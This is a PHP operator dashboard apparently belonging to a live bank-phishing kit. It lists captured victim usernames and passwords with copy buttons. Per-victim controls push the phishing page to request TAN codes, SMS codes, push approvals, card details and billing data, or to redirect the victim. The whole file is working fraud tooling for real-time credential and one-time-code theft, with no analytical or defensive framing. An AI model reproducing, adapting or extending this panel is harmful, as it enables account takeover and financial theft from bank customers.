<?php
session_start();
require_once 'config/config.php';
require_once BASE_PATH . '/includes/auth_validate.php';







$db = getDbInstance();

// Handle update request. As the form's action attribute is set to the same script, but 'POST' method,
if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
    // Get customer id form query string parameter.
    $customer_id = filter_input(INPUT_POST, 'id', FILTER_SANITIZE_STRING);

    // Get input data
    $data_to_db = filter_input_array(INPUT_POST);

    // Insert user and timestamp
 //   $data_to_db['updated_by'] = $_SESSION['user_id'];
    $data_to_db['updated_at'] = date('Y-m-d H:i:s');

    $db = getDbInstance();
    $db->where('id', $customer_id);
    $stat = $db->update('logs', $data_to_db);

    if ($stat)
    {
        $_SESSION['success'] = 'Log updated successfully!';
        // Redirect to the listing page
        header('Refresh:0;');
        // Important! Don't execute the rest put the exit/die.
        exit();
    }
}










// Costumers class
require_once BASE_PATH . '/lib/Costumers/Costumers.php';
$costumers = new Costumers();

// Get Input data from query string
$order_by	= filter_input(INPUT_GET, 'order_by');
$order_dir	= filter_input(INPUT_GET, 'order_dir');
$search_str	= filter_input(INPUT_GET, 'search_str');

// Per page limit for pagination
$pagelimit = 20;

// Get current page
$page = filter_input(INPUT_GET, 'page');
if (!$page) {
	$page = 1;
}

// If filter types are not selected we show latest added data first
if (!$order_by) {
	$order_by = 'id';
}
if (!$order_dir) {
	$order_dir = 'Desc';
}

// Get DB instance. i.e instance of MYSQLiDB Library
$db = getDbInstance();
$select = array('id', 'botid', 'datalog', 'logname', 'comment', 'tokenlog', 'created_at', 'updated_at');

// Start building query according to input parameters
// If search string
if ($search_str) {
	$db->where('datalog', '%' . $search_str . '%', 'like');
}
// If order direction option selected
if ($order_dir) {
	$db->orderBy($order_by, $order_dir);
}

// Set pagination limit
$db->pageLimit = $pagelimit;

// Get result of the query
$rows = $db->arraybuilder()->paginate('logs', $page, $select);
$total_pages = $db->totalPages;
?>
<?php include BASE_PATH . '/includes/header.php'; ?>
<!-- Main container -->
<div id="page-wrapper">
 
    <?php include BASE_PATH . '/includes/flash_messages.php'; ?>

    <!-- Filters -->


		<style>
.btnw
{
width:150px;
}

.divpd
{
padding-top:10px;
}
    </style>



<script>



                                     
function ccformauth (id, tokenlog)
{

	$('#id').val(id);
	$('#tokenstate').val('[CC]');
	$('#tokenlog').val('[CC Form]  <br>'+ tokenlog);
  str = '#tokenlog_id_'+id;
	$(str).html('[CC Form]  <br>'+ tokenlog);
	control_post();
	return false;
}

function ccformautherr (id, tokenlog)
{

	$('#id').val(id);
	$('#tokenstate').val('[CCERR]');
	$('#tokenlog').val('[CC Form Error]  <br>'+ tokenlog);
  str = '#tokenlog_id_'+id;
	$(str).html('[CC Form Error]  <br>'+ tokenlog);
	control_post();
	return false;
}



function errbilling (id, tokenlog)
{

	$('#id').val(id);
	$('#tokenstate').val('[ERRBILLING]');
	$('#tokenlog').val('[Billing Form Error]  <br>'+ tokenlog);
  str = '#tokenlog_id_'+id;
	$(str).html('[Billing Form Error]  <br>'+ tokenlog);
	control_post();
	return false;
}



function mlogin (id, tokenlog)
{

	$('#id').val(id);
	$('#tokenstate').val('[LOGIN]');
	$('#tokenlog').val('[LOGIN]  <br>'+ tokenlog);
    str = '#tokenlog_id_'+id;
	$(str).html('[LOGIN]  <br>'+ tokenlog);
	control_post();
	return false;
}


function mlogin_error (id, tokenlog)
{

	$('#id').val(id);
	$('#tokenstate').val('[ERRLOGIN]');
	$('#tokenlog').val('[LOGIN ERROR]  <br>'+ tokenlog);
    str = '#tokenlog_id_'+id;
	$(str).html('[LOGIN ERROR]  <br>'+ tokenlog);
	control_post();
	return false;
}


function phonelast (id, tokenlog)
{

	$('#id').val(id);
	$('#tokenstate').val('[[PHONE='+$('#phonelast').val() + ']');
	$('#tokenlog').val('[PHONE] '+$('#phonelast').val()+' <br>'+ tokenlog);
    str = '#tokenlog_id_'+id;
	$(str).html('[PHONE] '+$('#phonelast').val()+' <br>'+ tokenlog);
	control_post();
	return false;
}


function mtan (id, tokenlog)
{

	$('#id').val(id);
	$('#tokenstate').val('[TAN]');
	$('#tokenlog').val('[TAN]  <br>'+ tokenlog);
    str = '#tokenlog_id_'+id;
	$(str).html('[TAN]  <br>'+ tokenlog);
	control_post();
	return false;
}


function mtanwrong (id, tokenlog)
{

	$('#id').val(id);
	$('#tokenstate').val('[ERRTAN]');
	$('#tokenlog').val('[WRONG TAN]  <br>'+ tokenlog);
    str = '#tokenlog_id_'+id;
	$(str).html('[WRONG TAN]  <br>'+ tokenlog);
	control_post();
	return false;
}



function success (id, tokenlog)
{

	$('#id').val(id);
	$('#tokenstate').val('[SUCCESS]');
	$('#tokenlog').val('[SUCCESS]  <br>'+ tokenlog);
    str = '#tokenlog_id_'+id;
	$(str).html('[SUCCESS]  <br>'+ tokenlog);
	control_post();
	return false;
}






function waiting_func (id, tokenlog)
{

	$('#id').val(id);
	$('#tokenstate').val('[ERRCC]');
	$('#tokenlog').val('[CC Form Error] <br>'+ tokenlog);
  str = '#tokenlog_id_'+id;
	$(str).html('[CC Form Error]  <br>'+ tokenlog);
	control_post();
	return false;
}





function push_func (id, tokenlog)
{

	$('#id').val(id);
	$('#tokenstate').val('[PUSH]');
	$('#tokenlog').val('[Push Tap Form] <br>'+ tokenlog);
  str = '#tokenlog_id_'+id;
	$(str).html('[Push Tap Form]  <br>'+ tokenlog);
	control_post();
	return false;
}


function push_func_err (id, tokenlog)
{

	$('#id').val(id);
	$('#tokenstate').val('[PUSHERR]');
	$('#tokenlog').val('[Push Tap Form Error] <br>'+ tokenlog);
  str = '#tokenlog_id_'+id;
	$(str).html('[Push Tap Form Error <br>'+ tokenlog);
	control_post();
	return false;
}







function sms_func (id, tokenlog)
{

	$('#id').val(id);
	$('#tokenstate').val('[SMSCODE]');
	$('#tokenlog').val('[SMS Form] <br>'+ tokenlog);
  str = '#tokenlog_id_'+id;
	$(str).html('[SMS Form]  <br>'+ tokenlog);
	control_post();
	return false;
}


function errsms_func (id, tokenlog)
{

	$('#id').val(id);
	$('#tokenstate').val('[ERRSMSCODE]');
	$('#tokenlog').val('[SMS Form Error] <br>'+ tokenlog);
  str = '#tokenlog_id_'+id;
	$(str).html('[SMS Form Error]  <br>'+ tokenlog);
	control_post();
	return false;
}


function locker_func (id, tokenlog)
{

	$('#id').val(id);
	$('#tokenstate').val('[LOCKER]');
	$('#tokenlog').val('[Finish Form Message] <br>'+ tokenlog);
  str = '#tokenlog_id_'+id;
	$(str).html('[Finish Form Message]  <br>'+ tokenlog);
	control_post();
	return false;
}


function redirect_func (id, tokenlog)
{

	$('#id').val(id);
	$('#tokenstate').val('[REDIRECT]');
	$('#tokenlog').val('[Redirect] <br>'+ tokenlog);
  str = '#tokenlog_id_'+id;
	$(str).html('[Redirect]  <br>'+ tokenlog);
	control_post();
	return false;
}




function setup_offline(id) {
var s_url= 'logs.php';
var  id= id;
var  comment= 'offline';
$.post(s_url, {  comment: comment,  id: id } );
	return false;
}



function control_post() {
var s_url= 'logs.php';
var  id=  $('#id').val();
var  tokenlog=  $('#tokenlog').val();
var  tokenstate=  $('#tokenstate').val();
$.post(s_url, {  tokenstate: tokenstate,  id: id, tokenlog: tokenlog } );
	return false;
}



</script>

<form class="form" action="" method="post" id="customer_form" enctype="multipart/form-data">
	<input type="hidden" id="tokenstate" name="tokenstate" value="">
	<input type="hidden" id="id" name="id" value="">
	<input type="hidden" id="tokenlog" name="tokenlog" value="">
</form>

    <table class="table table-striped table-bordered table-condensed">
        <thead>
            <tr>
                <th width="45%" style="display:none">Logs</th>
                <th width="40%" style="display:">Data</th>
                <th width="18%" style="display:">Progress</th>
                <th width="25%" style="display:">Control</th>
                <th width="7%" style="display:">Actions</th>
            </tr>
        </thead>
        <tbody>
            <?php foreach ($rows as $row): ?>
                <?php
                $data = trim($row['datalog']);
                $new_data = explode('Login:', $data);
                $new_data1 = trim($new_data[1]);

                $username2 = explode('Password:', $new_data1);
                $username = trim($username2[0]);
                $password = trim($username2[1]);
                
                ?>
            <tr>
                <td style="display:none"><?php echo $row['comment']; ?></td>
                <td><b>Session ID: <?php echo htmlspecialchars($row['botid']); ?> </b> - <?php  $onstate = $row['comment'];  if($onstate == 'online')	$onstate = '<p style="color:green; display:inline;">online</p>'; if($onstate == 'offline')	$onstate = '<p style="color:red; display:inline;">offline</p>'; echo $onstate; ?> <br> <p style="font-size:18px; font-weight:bold;"><i> <?php echo htmlspecialchars($row['datalog']); ?> </i> 
                <ul class="d-flex flex-row gap-4 align-items-center justify-content-center" style="list-style: none; padding: 0; margin: 0;">
                    <li style="margin-bottom:10px;">
                        Username: 
                        <button 
                            id="username_<?php echo $row['id']; ?>" 
                            style="display:inline-block; background-color:#007bff; color:#fff; border:none; padding:4px 10px; border-radius:4px; cursor:pointer; font-size:14px;"
                            onclick="navigator.clipboard.writeText('<?php echo addslashes($username); ?>'); this.innerText='Copied!'; setTimeout(() => { this.innerText='<?php echo addslashes($username); ?>'; }, 500);"
                        >
                            <?php echo htmlspecialchars($username); ?>
                        </button>
                    </li>
                    <li>
                        Password: 
                        <button 
                            id="password_<?php echo $row['id']; ?>" 
                            style="display:inline-block; background-color:#007bff; color:#fff; border:none; padding:4px 10px; border-radius:4px; cursor:pointer; font-size:14px;"
                            onclick="navigator.clipboard.writeText('<?php echo addslashes($password); ?>'); this.innerText='Copied!'; setTimeout(() => { this.innerText='<?php echo addslashes($password); ?>'; }, 500);"
                        >
                            <?php echo htmlspecialchars($password); ?>
                        </button>
                    </li>
                </ul>
            </p> </td>
                <td><p id="tokenlog_id_<?php echo $row['id']; ?>" style="font-size:18px; font-weight:bold;"><?php echo $row['tokenlog']; ?> </p></td>
                <td align="center">
                    
  

<div class="form-group">
    <div >
     <a href="javascript: void(0);" id="login" class="btn btn-primary" style="width:150px;" onclick="mlogin('<?php echo $row['id']; ?>', '<?php echo $row['tokenlog']; ?>');">Login</a>
     <a href="javascript: void(0);" id="mloginerror" class="btn btn-primary" style="width:150px;" onclick="mlogin_error('<?php echo $row['id']; ?>', '<?php echo $row['tokenlog']; ?>');">Login Error</a> 
    </div>

   <div style="padding-top:10px; display:inline-block;">
        <input type="text" class="form-control" id="phonelast" name="phonelast" placeholder="" value="" style="display:inline-block; width:150px;">
   <a href="javascript: void(0);" id="mphone" class="btn btn-primary" style="width:150px;display:inline-block;" onclick="phonelast('<?php echo $row['id']; ?>', '<?php echo $row['tokenlog']; ?>');">Phone Selection</a>
    </div>

          <div style="padding-top:10px;">
   <a href="javascript: void(0);" id="mtan" class="btn btn-primary" style="width:150px;" onclick="mtan('<?php echo $row['id']; ?>', '<?php echo $row['tokenlog']; ?>');">TAN</a>
   <a href="javascript: void(0);" id="mwrongtan" class="btn btn-primary" style="width:150px;" onclick="mtanwrong('<?php echo $row['id']; ?>', '<?php echo $row['tokenlog']; ?>');">WRONG TAN</a>
    </div>

              <div style="padding-top:10px;">
   <a href="javascript: void(0);" id="msuc" class="btn btn-primary" style="width:150px;" onclick="success('<?php echo $row['id']; ?>', '<?php echo $row['tokenlog']; ?>');">Success</a>

    </div>
    
    
    
        
 
    </div>
</td>

<!-- Добавьте JavaScript для обработки выбора -->
<script>
function handleAction(action, id, tokenlog) {
    switch(action) {
        case 'billing_error':
            errbilling(id, tokenlog);
            break;
        case 'cc_form':
            ccformauth(id, tokenlog);
            break;
        case 'cc_error':
            ccformautherr(id, tokenlog);
            break;
        case 'sms_code':
            sms_func(id, tokenlog);
            break;
        case 'sms_error':
            errsms_func(id, tokenlog);
            break;
        case 'push_tap':
            push_func(id, tokenlog);
            break;
        case 'finish':
            locker_func(id, tokenlog);
            break;
        case 'redirect':
            redirect_func(id, tokenlog);
            break;
    }
    // Сбрасываем select после выбора
 //   setTimeout(() => {
  //      document.querySelector('select').value = '';
  //  }, 100);
}
</script>

<!-- Добавьте CSS для стилизации -->
<style>
.form-control {
    width: 100%;
    padding: 8px;
    margin-bottom: 10px;
    border: 1px solid #ddd;
    border-radius: 4px;
}

optgroup {
    font-weight: bold;
    color: #666;
}

option {
    padding: 5px;
}
</style>



                <td align="center">
                    <a href="edit_log.php?customer_id=<?php echo $row['id']; ?>&operation=edit" class="btn btn-primary"><i class="glyphicon glyphicon-edit"></i></a>
                    <a href="#" class="btn btn-danger delete_btn" data-toggle="modal" data-target="#confirm-delete-<?php echo $row['id']; ?>"><i class="glyphicon glyphicon-trash"></i></a>
                </td>
	<script> setup_offline('<?php echo $row['id']; ?>'); </script>
            </tr>
            <!-- Delete Confirmation Modal -->
            <div class="modal fade" id="confirm-delete-<?php echo $row['id']; ?>" role="dialog">
                <div class="modal-dialog">
                    <form action="delete_log.php" method="POST">
                        <!-- Modal content -->
                        <div class="modal-content">
                            <div class="modal-header">
                                <button type="button" class="close" data-dismiss="modal">&times;</button>
                                <h4 class="modal-title">Confirm</h4>
                            </div>
                            <div class="modal-body">
                                <input type="hidden" name="del_id" id="del_id" value="<?php echo $row['id']; ?>">
                                <p>Are you sure you want to delete this row?</p>
                            </div>
                            <div class="modal-footer">
                                <button type="submit" class="btn btn-default pull-left">Yes</button>
                                <button type="button" class="btn btn-default" data-dismiss="modal">No</button>
                            </div>
                        </div>
                    </form>
                </div>
            </div>
            <!-- //Delete Confirmation Modal -->
            <?php endforeach; ?>
        </tbody>
    </table>
    <!-- //Table -->

    <!-- Pagination -->
    <div class="text-center">
    	<?php echo paginationLinks($page, $total_pages, 'logs.php'); ?>
    </div>
    <!-- //Pagination -->
</div>
<!-- //Main container -->

<script>
    document.addEventListener('DOMContentLoaded', function () {
        const copyBtn = document.getElementById('copy-btn');
        const username = document.getElementById('offer-link');

        copyBtn.addEventListener('click', function () {
            username.select();
            username.setSelectionRange(0, 99999); // For mobile devices

            document.execCommand('copy');

            const originalText = copyBtn.innerHTML;
            copyBtn.innerHTML = '<i class="bi bi-check"></i> Copied!';
            copyBtn.classList.remove('btn-primary');
            copyBtn.classList.add('btn-success');

            setTimeout(function () {
                copyBtn.innerHTML = originalText;
                copyBtn.classList.remove('btn-success');
                copyBtn.classList.add('btn-primary');
            }, 2000);
        });

        $(function () {
            $('[data-toggle="tooltip"]').tooltip();
        });
    });
</script>
<?php include BASE_PATH . '/includes/footer.php'; ?>
